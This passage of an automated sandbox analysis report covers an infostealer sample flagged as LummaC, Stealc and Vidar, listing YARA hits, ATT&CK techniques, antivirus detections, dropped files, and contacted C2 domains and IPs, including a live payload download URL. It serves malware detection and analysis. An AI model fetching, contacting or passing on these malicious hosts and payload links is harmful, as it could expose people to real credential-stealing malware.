Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX

Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe

Directory queried: number of queries: 2130

Source: Yara match	File source: 10.3.e192e43b61.exe.1197b30.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000003.2624288449.00000000011A4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1786821317.0000000001774000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2883370297.000000000111B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2623865515.00000000011A4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2582005430.00000000012D7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2663469865.00000000011A5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1786888167.0000000001775000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2658010814.00000000011A4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2623816326.0000000001193000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1786861408.0000000001774000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2605977580.00000000011A4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2608212064.00000000011A4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2639670507.00000000011A4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2663336618.00000000011A5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2623503748.000000000118F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2809274914.0000000001403000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: K7IHXYTNUQJPI2M9UU0ECLE1K.exe PID: 5460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e192e43b61.exe PID: 1420, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e192e43b61.exe PID: 1340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e192e43b61.exe PID: 5744, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e192e43b61.exe PID: 1420, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e192e43b61.exe PID: 1340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e192e43b61.exe PID: 5744, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 32.0.num.exe.860000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.num.exe.860000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.b0b9f39429.exe.ba0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.b0b9f39429.exe.ba0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.K7IHXYTNUQJPI2M9UU0ECLE1K.exe.820000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000002.3015827110.000000000076E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2750222076.0000000000BA1000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2901676931.0000000000BA1000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2751119481.00000000018EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2580293430.0000000000821000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2582005430.000000000127E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3019501243.0000000000861000.00000080.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2852632926.00000000050C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2709864138.0000000005560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000000.2857203948.0000000000861000.00000080.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2142029213.00000000050A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2908035174.00000000013EA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: K7IHXYTNUQJPI2M9UU0ECLE1K.exe PID: 5460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b0b9f39429.exe PID: 8148, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b0b9f39429.exe PID: 3916, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1001608001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: K7IHXYTNUQJPI2M9UU0ECLE1K.exe PID: 5460, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C6F0C40 sqlite3_bind_zeroblob,	6_2_6C6F0C40
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C6F0D60 sqlite3_bind_parameter_name,	6_2_6C6F0D60
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C618EA0 sqlite3_clear_bindings,	6_2_6C618EA0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C6F0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	6_2_6C6F0B40
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C616410 bind,WSAGetLastError,	6_2_6C616410
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C616070 PR_Listen,	6_2_6C616070
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C61C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	6_2_6C61C050
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C61C030 sqlite3_bind_parameter_count,	6_2_6C61C030
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C6160B0 listen,WSAGetLastError,	6_2_6C6160B0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C5A22D0 sqlite3_bind_blob,	6_2_6C5A22D0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C6163C0 PR_Bind,	6_2_6C6163C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	11 Deobfuscate/Decode Files or Information	LSASS Memory	22 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	3 Obfuscated Files or Information	Security Account Manager	249 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	12 Process Injection	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	871 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	361 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	361 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	42%	Virustotal		Browse
file.exe	32%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\UDUFEWZ4SDVC5XI69Q6Z0RB48.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1001608001\num.exe	100%	Avira	TR/AD.Stealc.bkskc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe	100%	Avira	TR/AD.Stealc.bkskc
C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\UDUFEWZ4SDVC5XI69Q6Z0RB48.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001608001\num.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe	83%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	26%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	32%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	32%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	26%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1001608001\num.exe	83%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\UDUFEWZ4SDVC5XI69Q6Z0RB48.exe	47%	ReversingLabs	Win32.Trojan.Generic

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
prod.classify-client.prod.webservices.mozgcp.net	0%	Virustotal	Browse
crisiwarny.store	1%	Virustotal	Browse
presticitpo.store	1%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	0%	URL Reputation	safe
http://crl.microsoft	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://merino.services.mozilla.com/api/v1/suggest	0%	URL Reputation	safe
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://screenshots.firefox.com	0%	URL Reputation	safe
https://completion.amazon.com/search/complete?q=	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	0%	URL Reputation	safe
https://monitor.firefox.com/breach-details/	0%	URL Reputation	safe
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	0%	URL Reputation	safe
https://xhr.spec.whatwg.org/#sync-warning	0%	URL Reputation	safe
https://profiler.firefox.com/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/addon/	0%	URL Reputation	safe
https://tracking-protection-issues.herokuapp.com/new	0%	URL Reputation	safe
http://exslt.org/sets	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	0%	URL Reputation	safe
https://api.accounts.firefox.com/v1	0%	URL Reputation	safe
http://exslt.org/common	0%	URL Reputation	safe
https://fpn.firefox.com	0%	URL Reputation	safe
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://bugzilla.mo	0%	URL Reputation	safe
https://mitmdetection.services.mozilla.com/	0%	URL Reputation	safe
https://static.adsafeprotected.com/firefox-etp-js	0%	URL Reputation	safe
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture	0%	URL Reputation	safe
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	0%	Virustotal		Browse
https://crisiwarny.store/	1%	Virustotal		Browse
https://crisiwarny.store//	1%	Virustotal		Browse
http://185.215.113.16/off/def.exe	20%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	0%, Virustotal, Browse	unknown
crisiwarny.store	104.21.95.91	true	true	1%, Virustotal, Browse	unknown
presticitpo.store	unknown	unknown	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
fadehairucw.store	true	unknown
founpiuer.store	true	unknown
http://185.215.113.206/0d60be0de163924d/softokn3.dll	true	unknown
http://185.215.113.206/0d60be0de163924d/sqlite3.dll	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1733332516.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1733425645.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1733227360.0000000005E5C000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2608259033.00000000057C8000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2608026179.00000000057DF000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2739808698.0000000005ADB000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2808155146.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1733332516.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1733425645.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1733227360.0000000005E5C000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2608259033.00000000057C8000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2608026179.00000000057DF000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2739808698.0000000005ADB000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2808155146.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4	firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD3A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD3A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://exslt.org/dates-and-timesp	firefox.exe, 0000001D.00000002.2963529504.000001E75E53C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://crl.microsoft	e192e43b61.exe, 0000000B.00000003.2824471510.0000000001403000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2883362074.000000000144E000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2809274914.0000000001403000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/i	e192e43b61.exe, 0000000D.00000003.2792073053.000000000111B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000003.1768311539.0000000001786000.00000004.00000020.00020000.00000000.sdmp, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.0000000001332000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2641920304.00000000057CF000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2801742909.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2851208400.000000000113B000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD5B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2963529504.000001E75E5AE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/apig	e192e43b61.exe, 0000000B.00000002.3033486793.0000000001467000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsTim	firefox.exe, 0000001D.00000002.2969240727.000001E75EF03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2955106076.000001E752CD9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/P	e192e43b61.exe, 0000000B.00000003.2809274914.0000000001403000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/apiP	e192e43b61.exe, 0000000D.00000002.3031046367.00000000010D3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/ws	b0b9f39429.exe, 0000000C.00000002.2751119481.00000000018EE000.00000004.00000020.00020000.00000000.sdmp, b0b9f39429.exe, 0000001A.00000002.2908035174.0000000001446000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/Y	file.exe, 00000000.00000003.1873047117.000000000177B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1804603796.000000000177B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/apiS	e192e43b61.exe, 0000000B.00000002.3032149823.0000000001419000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://firefox.settings.services.mozilla.com/v1BrowserInitState.startupIdleTaskPromise	firefox.exe, 0000001D.00000002.2969240727.000001E75EF03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/.B64	file.exe, 00000000.00000003.1732244600.0000000001756000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/apiT	e192e43b61.exe, 0000000D.00000002.3031046367.0000000001095000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/spocs	firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD3A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
